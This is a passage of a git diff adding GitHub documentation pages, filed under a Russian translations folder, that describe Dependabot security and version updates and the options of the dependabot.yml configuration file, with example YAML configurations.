vulnerable dependency to a fixed version without disrupting the dependency graph for the repository. Then {% data variables.product.prodname_dependabot %} raises a pull request to update the dependency to the minimum version that includes the patch and links the pull request to the {% data variables.product.prodname_dependabot %} alert, or reports an error on the alert. For more information, see "[Troubleshooting {% data variables.product.prodname_dependabot %} errors](/github/managing-security-vulnerabilities/troubleshooting-dependabot-errors)." + +The {% data variables.product.prodname_dependabot_security_updates %} feature is available for repositories where you have enabled the dependency graph and {% data variables.product.prodname_dependabot_alerts %}. You will see a {% data variables.product.prodname_dependabot %} alert for every vulnerable dependency identified in your full dependency graph. However, security updates are triggered only for dependencies that are specified in a manifest or lock file. For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#dependencies-included)." + +{% ifversion dependabot-security-updates-unlock-transitive-dependencies %} + +{% note %} + +**Note**: For npm, {% data variables.product.prodname_dependabot %} will raise a pull request to update an explicitly defined dependency to a secure version, even if it means updating the parent dependency or dependencies{% ifversion dependabot-security-updates-npm %}, or even removing a sub-dependency that is no longer needed by the parent{% endif %}. For other ecosystems, {% data variables.product.prodname_dependabot %} is unable to update an indirect or transitive dependency if it would also require an update to the parent dependency. For more information, see "[Dependabot tries to update dependencies without an alert](/en/code-security/dependabot/working-with-dependabot/troubleshooting-dependabot-errors#dependabot-tries-to-update-dependencies-without-an-alert)." + +{% endnote %}{% endif %} + +You can enable a related feature, {% data variables.product.prodname_dependabot_version_updates %}, so that {% data variables.product.prodname_dependabot %} raises pull requests to update the manifest to the latest version of the dependency, whenever it detects an outdated dependency. For more information, see "[About {% data variables.product.prodname_dependabot %} version updates](/github/administering-a-repository/about-dependabot-version-updates)." + +{% data reusables.dependabot.pull-request-security-vs-version-updates %} + +{% data reusables.dependabot.dependabot-updates-and-actions %} + +## About pull requests for security updates + +Each pull request contains everything you need to quickly and safely review and merge a proposed fix into your project. This includes information about the vulnerability like release notes, changelog entries, and commit details. Details of which vulnerability a pull request resolves are hidden from anyone who does not have access to {% data variables.product.prodname_dependabot_alerts %} for the repository. + +When you merge a pull request that contains a security update, the corresponding {% data variables.product.prodname_dependabot %} alert is marked as resolved for your repository. For more information about {% data variables.product.prodname_dependabot %} pull requests, see "[Managing pull requests for dependency updates](/github/administering-a-repository/managing-pull-requests-for-dependency-updates)." + +{% data reusables.dependabot.automated-tests-note %} + +{% ifversion fpt or ghec %} + +## About compatibility scores + +{% data variables.product.prodname_dependabot_security_updates %} may include compatibility scores to let you know whether updating a dependency could cause breaking changes to your project. These are calculated from CI tests in other public repositories where the same security update has been generated. An update's compatibility score is the percentage of CI runs that passed when updating between specific versions of the dependency. + +{% endif %} + +## About notifications for {% data variables.product.prodname_dependabot %} security updates + +You can filter your notifications on {% data variables.product.company_short %} to show {% data variables.product.prodname_dependabot %} security updates. For more information, see "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#dependabot-custom-filters)." diff --git a/translations/ru-RU/content/code-security/dependabot/dependabot-security-updates/configuring-dependabot-security-updates.md b/translations/ru-RU/content/code-security/dependabot/dependabot-security-updates/configuring-dependabot-security-updates.md new file mode 100644 index 000000000000..0e0910c214bf --- /dev/null +++ b/translations/ru-RU/content/code-security/dependabot/dependabot-security-updates/configuring-dependabot-security-updates.md @@ -0,0 +1,92 @@ +--- +title: Configuring Dependabot security updates +intro: 'You can use {% data variables.product.prodname_dependabot_security_updates %} or manual pull requests to easily update vulnerable dependencies.' +shortTitle: Configure security updates +redirect_from: + - /articles/configuring-automated-security-fixes + - /github/managing-security-vulnerabilities/configuring-automated-security-fixes + - /github/managing-security-vulnerabilities/configuring-automated-security-updates + - /github/managing-security-vulnerabilities/configuring-github-dependabot-security-updates + - /github/managing-security-vulnerabilities/configuring-dependabot-security-updates + - /code-security/supply-chain-security/configuring-dependabot-security-updates + - /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-dependabot-security-updates +versions: + fpt: '*' + ghec: '*' + ghes: '*' +type: how_to +topics: + - Dependabot + - Security updates + - Alerts + - Dependencies + - Pull requests + - Repositories +--- + + +{% data reusables.dependabot.beta-security-and-version-updates %} +{% data reusables.dependabot.enterprise-enable-dependabot %} + +## About configuring {% data variables.product.prodname_dependabot_security_updates %} + +You can enable {% data variables.product.prodname_dependabot_security_updates %} at the repository level or for all repositories owned by your personal account or organization. You can enable {% data variables.product.prodname_dependabot_security_updates %} for any repository that uses {% data variables.product.prodname_dependabot_alerts %} and the dependency graph. For more information, see "[About {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)." + +You can disable {% data variables.product.prodname_dependabot_security_updates %} for an individual repository or for all repositories owned by your personal account or organization. + +{% ifversion fpt or ghec %}{% data reusables.dependabot.dependabot-tos %}{% endif %} + +## Supported repositories + +{% data variables.product.prodname_dotcom %} automatically enables {% data variables.product.prodname_dependabot_security_updates %} for newly created repositories if your personal account or organization has enabled **Automatically enable for new repositories** for {% data variables.product.prodname_dependabot_security_updates %}. For more information, see "[Managing {% data variables.product.prodname_dependabot_security_updates %} for your repositories](#managing-dependabot-security-updates-for-your-repositories)." + +If you create a fork of a repository that has security updates enabled, {% data variables.product.prodname_dotcom %} will automatically disable {% data variables.product.prodname_dependabot_security_updates %} for the fork. You can then decide whether to enable {% data variables.product.prodname_dependabot_security_updates %} on the specific fork. + +If security updates are not enabled for your repository and you don't know why, first try enabling them using the instructions given in the procedural sections below. If security updates are still not working, you can contact {% data variables.contact.contact_support %}. + +## Managing {% data variables.product.prodname_dependabot_security_updates %} for your repositories + +You can enable or disable {% data variables.product.prodname_dependabot_security_updates %} for all qualifying repositories owned by your personal account or organization. For more information, see "[Managing security and analysis settings for your personal account](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-security-and-analysis-settings-for-your-personal-account)" or "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)." + +You can also enable or disable {% data variables.product.prodname_dependabot_security_updates %} for an individual repository. + +### Enabling or disabling {% data variables.product.prodname_dependabot_security_updates %} for an individual repository + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.repositories.navigate-to-code-security-and-analysis %} +1. Under "Code security and analysis", to the right of "{% data variables.product.prodname_dependabot %} security updates", click **Enable** to enable the feature or **Disable** to disable it. {% ifversion fpt or ghec %}For public repositories, the button is disabled if the feature is always enabled.{% endif %} + {% ifversion fpt or ghec %}![Screenshot of "Code security and analysis" section with button to enable {% data variables.product.prodname_dependabot_security_updates %}](/assets/images/help/repository/security-and-analysis-disable-or-enable-fpt-private.png){% elsif ghes > 3.6 or ghae > 3.6 %} {% else %}![Screenshot of "Code security and analysis" section with button to enable {% data variables.product.prodname_dependabot_security_updates %}](/assets/images/enterprise/3.3/repository/security-and-analysis-disable-or-enable-ghes.png){% endif %} + +## Overriding the default behavior with a configuration file + +You can override the default behavior of {% data variables.product.prodname_dependabot_security_updates %} by adding a dependabot.yml file to your repository. For more information, see "[Configuration options for the dependabot.yml file](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file)." + +If you only require security updates and want to exclude version updates, you can set `open-pull-request-limit` to `0` in order to prevent version updates for a given `package-ecosystem`. For more information, see "[`open-pull-request-limit`](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#open-pull-requests-limit)." + +``` +# Example configuration file that: +# - Ignores lodash dependency +# - Disables version-updates + +version: 2 +updates: + - package-ecosystem: "npm" + directory: "/" + schedule: + interval: "daily" + ignore: + - dependency-name: "lodash" + # For Lodash, ignore all updates + # Disable version updates for npm dependencies + open-pull-requests-limit: 0 +``` + +For more information about the configuration options available for security updates, see the table in "[Configuration options for the dependabot.yml file](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#configuration-options-for-the-dependabotyml-file)." + +## Further reading + +- "[About {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)" +- "[Configuring {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/configuring-dependabot-alerts)"{% ifversion fpt or ghec %} +- "[Managing data use settings for your private repository](/get-started/privacy-on-github/managing-data-use-settings-for-your-private-repository)"{% endif %} +- "[Supported package ecosystems](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#supported-package-ecosystems)" diff --git a/translations/ru-RU/content/code-security/dependabot/dependabot-security-updates/index.md b/translations/ru-RU/content/code-security/dependabot/dependabot-security-updates/index.md new file mode 100644 index 000000000000..64b03e00a66b --- /dev/null +++ b/translations/ru-RU/content/code-security/dependabot/dependabot-security-updates/index.md @@ -0,0 +1,26 @@ +--- +title: Автоматическое обновление зависимостей с известными уязвимостями за счет обновлений безопасности Dependabot +intro: '{% data variables.product.prodname_dependabot %} позволяет устранить уязвимые зависимости, автоматически вызывая запросы на вытягивание для обновления зависимостей до безопасных версий.' +allowTitleToDifferFromFilename: true +versions: + fpt: '*' + ghec: '*' + ghes: '*' +topics: + - Repositories + - Dependabot + - Security updates + - Dependencies + - Pull requests +shortTitle: Dependabot security updates +children: + - /about-dependabot-security-updates + - /configuring-dependabot-security-updates +ms.openlocfilehash: e18b6331f762a81b82c759de5fdbc6eeed300308 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148108901' +--- + diff --git a/translations/ru-RU/content/code-security/dependabot/dependabot-version-updates/about-dependabot-version-updates.md b/translations/ru-RU/content/code-security/dependabot/dependabot-version-updates/about-dependabot-version-updates.md new file mode 100644 index 000000000000..762049805829 --- /dev/null +++ b/translations/ru-RU/content/code-security/dependabot/dependabot-version-updates/about-dependabot-version-updates.md @@ -0,0 +1,71 @@ +--- +title: About Dependabot version updates +intro: 'You can use {% data variables.product.prodname_dependabot %} to keep the packages you use updated to the latest versions.' +redirect_from: + - /github/administering-a-repository/about-dependabot + - /github/administering-a-repository/about-github-dependabot + - /github/administering-a-repository/about-github-dependabot-version-updates + - /github/administering-a-repository/about-dependabot-version-updates + - /code-security/supply-chain-security/about-dependabot-version-updates + - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/upgrading-from-dependabotcom-to-github-native-dependabot + - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/about-dependabot-version-updates +versions: + fpt: '*' + ghec: '*' + ghes: '> 3.2' +type: overview +topics: + - Dependabot + - Version updates + - Repositories + - Dependencies + - Pull requests +shortTitle: Dependabot version updates +--- + +{% data reusables.dependabot.beta-security-and-version-updates %} +{% data reusables.dependabot.enterprise-enable-dependabot %} + +## About {% data variables.product.prodname_dependabot_version_updates %} + +{% data variables.product.prodname_dependabot %} takes the effort out of maintaining your dependencies. You can use it to ensure that your repository automatically keeps up with the latest releases of the packages and applications it depends on. + +You enable {% data variables.product.prodname_dependabot_version_updates %} by checking a `dependabot.yml` configuration file into your repository. The configuration file specifies the location of the manifest, or of other package definition files, stored in your repository. {% data variables.product.prodname_dependabot %} uses this information to check for outdated packages and applications. {% data variables.product.prodname_dependabot %} determines if there is a new version of a dependency by looking at the semantic versioning ([semver](https://semver.org/)) of the dependency to decide whether it should update to that version. For certain package managers, {% data variables.product.prodname_dependabot_version_updates %} also supports vendoring. Vendored (or cached) dependencies are dependencies that are checked in to a specific directory in a repository rather than referenced in a manifest. Vendored dependencies are available at build time even if package servers are unavailable. {% data variables.product.prodname_dependabot_version_updates %} can be configured to check vendored dependencies for new versions and update them if necessary. + +When {% data variables.product.prodname_dependabot %} identifies an outdated dependency, it raises a pull request to update the manifest to the latest version of the dependency. For vendored dependencies, {% data variables.product.prodname_dependabot %} raises a pull request to replace the outdated dependency with the new version directly. You check that your tests pass, review the changelog and release notes included in the pull request summary, and then merge it. For more information, see "[Configuring {% data variables.product.prodname_dependabot %} version updates](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-dependabot-version-updates)." + +If you enable _security updates_, {% data variables.product.prodname_dependabot %} also raises pull requests to update vulnerable dependencies. For more information, see "[About {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)." + +{% data reusables.dependabot.pull-request-security-vs-version-updates %} + +{% data reusables.dependabot.dependabot-updates-and-actions %} + +{% data reusables.dependabot.dependabot-tos %} + +## Frequency of {% data variables.product.prodname_dependabot %} pull requests + +You specify how often to check each ecosystem for new versions in the configuration file: daily, weekly, or monthly. + +{% data reusables.dependabot.initial-updates %} + +If you've enabled security updates, you'll sometimes see extra pull requests for security updates. These are triggered by a {% data variables.product.prodname_dependabot %} alert for a dependency on your default branch. {% data variables.product.prodname_dependabot %} automatically raises a pull request to update the vulnerable dependency. + +## Supported repositories and ecosystems + + +You can configure version updates for repositories that contain a dependency manifest or lock file for one of the supported package managers. For some package managers, you can also configure vendoring for dependencies. For more information, see "[Configuration options for the dependabot.yml file](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/configuration-options-for-dependency-updates#vendor)." +{% note %} + +{% data reusables.dependabot.private-dependencies-note %} + +{% data variables.product.prodname_dependabot %} doesn't support private {% data variables.product.prodname_dotcom %} dependencies for all package managers. See the details in the table below. + +{% endnote %} + +{% data reusables.dependabot.supported-package-managers %} + +If your repository already uses an integration for dependency management, you will need to disable this before enabling {% data variables.product.prodname_dependabot %}. {% ifversion fpt or ghec %}For more information, see "[About integrations](/github/customizing-your-github-workflow/about-integrations)."{% endif %} + +## About notifications for {% data variables.product.prodname_dependabot %} version updates + +You can filter your notifications on {% data variables.product.company_short %} to show notifications for pull requests created by {% data variables.product.prodname_dependabot %}. For more information, see "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox)." diff --git a/translations/ru-RU/content/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file.md b/translations/ru-RU/content/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file.md new file mode 100644 index 000000000000..eaefe0047a5d --- /dev/null +++ b/translations/ru-RU/content/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file.md @@ -0,0 +1,1000 @@ +--- +title: Configuration options for the dependabot.yml file +intro: 'Detailed information for all the options you can use to customize how {% data variables.product.prodname_dependabot %} maintains your repositories.' +permissions: 'People with write permissions to a repository can configure {% data variables.product.prodname_dependabot %} for the repository.' +allowTitleToDifferFromFilename: true +redirect_from: + - /github/administering-a-repository/configuration-options-for-dependency-updates + - /code-security/supply-chain-security/configuration-options-for-dependency-updates + - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/configuration-options-for-dependency-updates +miniTocMaxHeadingLevel: 3 +versions: + fpt: '*' + ghec: '*' + ghes: '*' +type: reference +topics: + - Dependabot + - Version updates + - Repositories + - Dependencies + - Pull requests +shortTitle: Configure dependabot.yml +--- + +{% data reusables.dependabot.beta-security-and-version-updates %} +{% data reusables.dependabot.enterprise-enable-dependabot %} + +## About the *dependabot.yml* file + +The {% data variables.product.prodname_dependabot %} configuration file, *dependabot.yml*, uses YAML syntax. If you're new to YAML and want to learn more, see "[Learn YAML in five minutes](https://www.codeproject.com/Articles/1214409/Learn-YAML-in-five-minutes)." + +You must store this file in the `.github` directory of your repository. When you add or update the *dependabot.yml* file, this triggers an immediate check for version updates. For more information and an example, see "[Configuring {% data variables.product.prodname_dependabot %} version updates](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-dependabot-version-updates#enabling-dependabot-version-updates)." + +Any options that also affect security updates are used the next time a security alert triggers a pull request for a security update. For more information, see "[Configuring {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-dependabot-security-updates)." + +{% note %} + +**Note:** You cannot configure {% data variables.product.prodname_dependabot_alerts %} using the *dependabot.yml* file. + +{% endnote %} + +The *dependabot.yml* file has two mandatory top-level keys: `version`, and `updates`. You can, optionally, include a top-level `registries` key{% ifversion ghes = 3.5 %} and/or a `enable-beta-ecosystems` key{% endif %}. The file must start with `version: 2`. + +## Configuration options for the *dependabot.yml* file + +The top-level `updates` key is mandatory. You use it to configure how {% data variables.product.prodname_dependabot %} updates the versions or your project's dependencies. Each entry configures the update settings for a particular package manager. You can use the following options. + +{% data reusables.dependabot.configuration-options %} + +These options fit broadly into the following categories. + +- Essential set up options that you must include in all configurations: [`package-ecosystem`](#package-ecosystem), [`directory`](#directory),[`schedule.interval`](#scheduleinterval). +- Options to customize the update schedule: [`schedule.time`](#scheduletime), [`schedule.timezone`](#scheduletimezone), [`schedule.day`](#scheduleday). +- Options to control which dependencies are updated: [`allow`](#allow), [`ignore`](#ignore), [`vendor`](#vendor). +- Options to add metadata to pull requests: [`reviewers`](#reviewers), [`assignees`](#assignees), [`labels`](#labels), [`milestone`](#milestone). +- Options to change the behavior of the pull requests: [`target-branch`](#target-branch), [`versioning-strategy`](#versioning-strategy), [`commit-message`](#commit-message), [`rebase-strategy`](#rebase-strategy), [`pull-request-branch-name.separator`](#pull-request-branch-nameseparator). + +In addition, the [`open-pull-requests-limit`](#open-pull-requests-limit) option changes the maximum number of pull requests for version updates that {% data variables.product.prodname_dependabot %} can open. + +{% note %} + +**Note:** Some of these configuration options may also affect pull requests raised for security updates of vulnerable package manifests. + +Security updates are raised for vulnerable package manifests only on the default branch. When configuration options are set for the same branch (true unless you use `target-branch`), and specify a `package-ecosystem` and `directory` for the vulnerable manifest, then pull requests for security updates use relevant options. + +In general, security updates use any configuration options that affect pull requests, for example, adding metadata or changing their behavior. For more information about security updates, see "[Configuring {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-dependabot-security-updates)." + +{% endnote %} + +### `package-ecosystem` + +**Required**. You add one `package-ecosystem` element for each package manager that you want {% data variables.product.prodname_dependabot %} to monitor for new versions. The repository must also contain a dependency manifest or lock file for each of these package managers. If you want to enable vendoring for a package manager that supports it, the vendored dependencies must be located in the required directory. For more information, see [`vendor`](#vendor) below. + +{% data reusables.dependabot.supported-package-managers %} + +```yaml +# Basic set up for three package managers + +version: 2 +updates: + + # Maintain dependencies for GitHub Actions + - package-ecosystem: "github-actions" + directory: "/" + schedule: + interval: "weekly" + + # Maintain dependencies for npm + - package-ecosystem: "npm" + directory: "/" + schedule: + interval: "weekly" + + # Maintain dependencies for Composer + - package-ecosystem: "composer" + directory: "/" + schedule: + interval: "weekly" +``` + +### `directory` + +**Required**. You must define the location of the package manifests for each package manager (for example, the *package.json* or *Gemfile*). You define the directory relative to the root of the repository for all ecosystems except GitHub Actions. For GitHub Actions, set the directory to `/` to check for workflow files in `.github/workflows`. + +```yaml +# Specify location of manifest files for each package manager + +version: 2 +updates: + - package-ecosystem: "composer" + # Files stored in repository root + directory: "/" + schedule: + interval: "weekly" + + - package-ecosystem: "npm" + # Files stored in `app` directory + directory: "/app" + schedule: + interval: "weekly" + + - package-ecosystem: "github-actions" + # Workflow files stored in the + # default location of `.github/workflows` + directory: "/" + schedule: + interval: "weekly" +``` + +### `schedule.interval` + +**Required**. You must define how often to check for new versions for each package manager. By default, {% data variables.product.prodname_dependabot %} randomly assigns a time to apply all the updates in the configuration file. To set a specific time, you can use [`schedule.time`](#scheduletime) and [`schedule.timezone`](#scheduletimezone). + +| Interval types | Frequency | +|----------------|-----------| +| `daily` | Runs on every weekday, Monday to Friday.| +| `weekly`| Runs once each week. By default, this is on Monday. To modify this, use [`schedule.day`](#scheduleday).| +| `monthly` | Runs once each month. This is on the first day of the month. | + +```yaml +# Set update schedule for each package manager + +version: 2 +updates: + + - package-ecosystem: "github-actions" + directory: "/" + schedule: + # Check for updates to GitHub Actions every weekday + interval: "daily" + + - package-ecosystem: "composer" + directory: "/" + schedule: + # Check for updates managed by Composer once a week + interval: "weekly" +``` + +{% note %} + +**Note**: `schedule` defines when {% data variables.product.prodname_dependabot %} attempts a new update. However, it's not the only time you may receive pull requests. Updates can be triggered based on changes to your `dependabot.yml` file, changes to your manifest file(s) after a failed update, or {% data variables.product.prodname_dependabot_security_updates %}. For more information, see "[Frequency of {% data variables.product.prodname_dependabot %} pull requests](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/about-dependabot-version-updates#frequency-of-dependabot-pull-requests)" and "[About {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates)." + +{% endnote %} + +### `allow` + +{% data reusables.dependabot.default-dependencies-allow-ignore %} + +Use the `allow` option to customize which dependencies are updated. This applies to both version and security updates. You can use the following options: + +- `dependency-name`—use to allow updates for dependencies with matching names, optionally using `*` to match zero or more characters. For Java dependencies, the format of the `dependency-name` attribute is: `groupId:artifactId`, for example: `org.kohsuke:github-api`. +- `dependency-type`—use to allow updates for dependencies of specific types. + + | Dependency types | Supported by package managers | Allow updates | + |------------------|-------------------------------|--------| + | `direct` | All | All explicitly defined dependencies. | + | `indirect` | `bundler`, `pip`, `composer`, `cargo` | Dependencies of direct dependencies (also known as sub-dependencies, or transient dependencies).| + | `all` | All | All explicitly defined dependencies. For `bundler`, `pip`, `composer`, `cargo`, also the dependencies of direct dependencies.| + | `production` | `bundler`, `composer`, `mix`, `maven`, `npm`, `pip` | Only dependencies in the "Production dependency group". | + | `development`| `bundler`, `composer`, `mix`, `maven`, `npm`, `pip` | Only dependencies in the "Development dependency group". | + +```yaml +# Use `allow` to specify which dependencies to maintain + +version: 2 +updates: + - package-ecosystem: "npm" + directory: "/" + schedule: + interval: "weekly" + allow: + # Allow updates for Lodash + - dependency-name: "lodash" + # Allow updates for React and any packages starting "react" + - dependency-name: "react*" + + - package-ecosystem: "composer" + directory: "/" + schedule: + interval: "weekly" + allow: + # Allow both direct and indirect updates for all packages + - dependency-type: "all" + + - package-ecosystem: "pip" + directory: "/" + schedule: + interval: "weekly" + allow: + # Allow only direct updates for + # Django and any packages starting "django" + - dependency-name: "django*" + dependency-type: "direct" + # Allow only production updates for Sphinx + - dependency-name: "sphinx" + dependency-type: "production" +``` + +### `assignees` + +Use `assignees` to specify individual assignees for all pull requests raised for a package manager. + +{% data reusables.dependabot.option-affects-security-updates %} + +```yaml +# Specify assignees for pull requests + +version: 2 +updates: + - package-ecosystem: "npm" + directory: "/" + schedule: + interval: "weekly" + # Add assignees + assignees: + - "octocat" +``` + +### `commit-message` + +By default, {% data variables.product.prodname_dependabot %} attempts to detect your commit message preferences and use similar patterns. Use the `commit-message` option to specify your preferences explicitly. + +Supported options + +{% note %} + +**Note:** The `prefix` and the `prefix-development` options have a 15 character limit. + +{% endnote %} + +- `prefix` specifies a prefix for all commit messages. +- `prefix-development` specifies a separate prefix for all commit messages that update dependencies in the Development dependency group. When you specify a value for this option, the `prefix` is used only for updates to dependencies in the Production dependency group. This is supported by: `bundler`, `composer`, `mix`, `maven`, `npm`, and `pip`. +- `include: "scope"` specifies that any prefix is followed by a list of the dependencies updated in the commit. + +{% data reusables.dependabot.option-affects-security-updates %} + +```yaml +# Customize commit messages + +version: 2 +updates: + - package-ecosystem: "npm" + directory: "/" + schedule: + interval: "weekly" + commit-message: + # Prefix all commit messages with "npm" + prefix: "npm" + + - package-ecosystem: "composer" + directory: "/" + schedule: + interval: "weekly" + # Prefix all commit messages with "Composer" + # include a list of updated dependencies + commit-message: + prefix: "Composer" + include: "scope" + + - package-ecosystem: "pip" + directory: "/" + schedule: + interval: "weekly" + # Include a list of updated dependencies + # with a prefix determined by the dependency group + commit-message: + prefix: "pip prod" + prefix-development: "pip dev" + include: "scope" +``` +If you use the same configuration as in the example above, bumping the `requests` library in the `pip` development dependency group will generate a commit message of: + + `pip dev: bump requests from 1.0.0 to 1.0.1` + +### `ignore` + +{% data reusables.dependabot.default-dependencies-allow-ignore %} + +Dependencies can be ignored either by adding them to `ignore` or by using the `@dependabot ignore` command on a pull request opened by {% data variables.product.prodname_dependabot %}. + +#### Creating `ignore` conditions from `@dependabot ignore` + +Dependencies ignored by using the `@dependabot ignore` command are stored centrally for each package manager. If you start ignoring dependencies in the `dependabot.yml` file, these existing preferences are considered alongside the `ignore` dependencies in the configuration. + +You can check whether a repository has stored `ignore` preferences by searching the repository for `"@dependabot ignore" in:comments`. If you wish to un-ignore a dependency ignored this way, re-open the pull request. + +For more information about the `@dependabot ignore` commands, see "[Managing pull requests for dependency updates](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-pull-requests-for-dependency-updates#managing-dependabot-pull-requests-with-comment-commands)." + +#### Specifying dependencies and versions to ignore + +You can use the `ignore` option to customize which dependencies are updated. The `ignore` option supports the following options. + +- `dependency-name`—use to ignore updates for dependencies with matching names, optionally using `*` to match zero or more characters. For Java dependencies, the format of the `dependency-name` attribute is: `groupId:artifactId` (for example: `org.kohsuke:github-api`). {% ifversion dependabot-grouped-dependencies %} To prevent {% data variables.product.prodname_dependabot %} from automatically updating TypeScript type definitions from DefinitelyTyped, use `@types/*`.{% endif %} +- `versions`—use to ignore specific versions or ranges of versions. If you want to define a range, use the standard pattern for the package manager (for example: `^1.0.0` for npm, or `~> 2.0` for Bundler). +- `update-types`—use to ignore types of updates, such as semver `major`, `minor`, or `patch` updates on version updates (for example: `version-update:semver-patch` will ignore patch updates). You can combine this with `dependency-name: "*"` to ignore particular `update-types` for all dependencies. Currently, `version-update:semver-major`, `version-update:semver-minor`, and `version-update:semver-patch` are the only supported options. Security updates are unaffected by this setting. + +If `versions` and `update-types` are used together, {% data variables.product.prodname_dependabot %} will ignore any update in either set. + +{% data reusables.dependabot.option-affects-security-updates %} + +```yaml +# Use `ignore` to specify dependencies that should not be updated + +version: 2 +updates: + - package-ecosystem: "npm" + directory: "/" + schedule: + interval: "weekly" + ignore: + - dependency-name: "express" + # For Express, ignore all updates for version 4 and 5 + versions: ["4.x", "5.x"] + # For Lodash, ignore all updates + - dependency-name: "lodash" + # For AWS SDK, ignore all patch updates + - dependency-name: "aws-sdk" + update-types: ["version-update:semver-patch"] +``` + +{% note %} + +**Note**: {% data variables.product.prodname_dependabot %} can only run version updates on manifest or lock files if it can access all of the dependencies in the file, even if you add inaccessible dependencies to the `ignore` option of your configuration file. For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization#allowing-dependabot-to-access-private-dependencies)" and "[Troubleshooting {% data variables.product.prodname_dependabot %} errors](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-dependabot-errors#dependabot-cant-resolve-your-dependency-files)." + + +{% endnote %} + +{% ifversion fpt or ghec or ghes > 3.4 %} +{% note %} + +**Note**: For the `pub` ecosystem, {% data variables.product.prodname_dependabot %} won't perform an update when the version that it tries to update to is ignored, even if an earlier version is available. + +{% endnote %} + +{% endif %} + +### `insecure-external-code-execution` + +Package managers with the `package-ecosystem` values `bundler`, `mix`, and `pip` may execute external code in the manifest as part of the version update process. This might allow a compromised package to steal credentials or gain access to configured registries. When you add a [`registries`](#registries) setting within an `updates` configuration, {% data variables.product.prodname_dependabot %} automatically prevents external code execution, in which case the version update may fail. You can choose to override this behavior and allow external code execution for `bundler`, `mix`, and `pip` package managers by setting `insecure-external-code-execution` to `allow`. + +You can explicitly deny external code execution, irrespective of whether there is a `registries` setting for this update configuration, by setting `insecure-external-code-execution` to `deny`. + +{% raw %} +```yaml +# Allow external code execution when updating dependencies from private registries + +version: 2 +registries: + ruby-github: + type: rubygems-server + url: https://rubygems.pkg.github.com/octocat/github_api + token: ${{secrets.MY_GITHUB_PERSONAL_TOKEN}} +updates: + - package-ecosystem: "bundler" + directory: "/rubygems-server" + insecure-external-code-execution: allow + registries: "*" + schedule: + interval: "monthly" +``` +{% endraw %} + +### `labels` + +{% data reusables.dependabot.default-labels %} + +Use `labels` to override the default labels and specify alternative labels for all pull requests raised for a package manager. If any of these labels is not defined in the repository, it is ignored. +To disable all labels, including the default labels, use `labels: [ ]`. + +{% data reusables.dependabot.option-affects-security-updates %} + +```yaml +# Specify labels for pull requests + +version: 2 +updates: + - package-ecosystem: "npm" + directory: "/" + schedule: + interval: "weekly" + # Specify labels for npm pull requests + labels: + - "npm" + - "dependencies" +``` + +### `milestone` + +Use `milestone` to associate all pull requests raised for a package manager with a milestone. You need to specify the numeric identifier of the milestone and not its label. If you view a milestone, the final part of the page URL, after `milestone`, is the identifier. For example: `https://github.com///milestone/3`. + +{% data reusables.dependabot.option-affects-security-updates %} + +```yaml +# Specify a milestone for pull requests + +version: 2 +updates: + - package-ecosystem: "npm" + directory: "/" + schedule: + interval: "weekly" + # Associate pull requests with milestone "4" + milestone: 4 +``` + +### `open-pull-requests-limit` + +By default, {% data variables.product.prodname_dependabot %} opens a maximum of five pull requests for version updates. Once there are five open pull requests from {% data variables.product.prodname_dependabot %}, {% data variables.product.prodname_dependabot %} will not open any new requests until some of those open requests are merged or closed. Use `open-pull-requests-limit` to change this limit. This also provides a simple way to temporarily disable version updates for a package manager. + +This option has no impact on security updates, which have a separate, internal limit of ten open pull requests. + +```yaml +# Specify the number of open pull requests allowed + +version: 2 +updates: + - package-ecosystem: "npm" + directory: "/" + schedule: + interval: "weekly" + # Disable version updates for npm dependencies + open-pull-requests-limit: 0 + + - package-ecosystem: "pip" + directory: "/" + schedule: + interval: "weekly" + # Allow up to 10 open pull requests for pip dependencies + open-pull-requests-limit: 10 +``` + +### `pull-request-branch-name.separator` + +{% data variables.product.prodname_dependabot %} generates a branch for each pull request. Each branch name includes `dependabot`, and the package manager and dependency that are updated. By default, these parts are separated by a `/` symbol, for example: 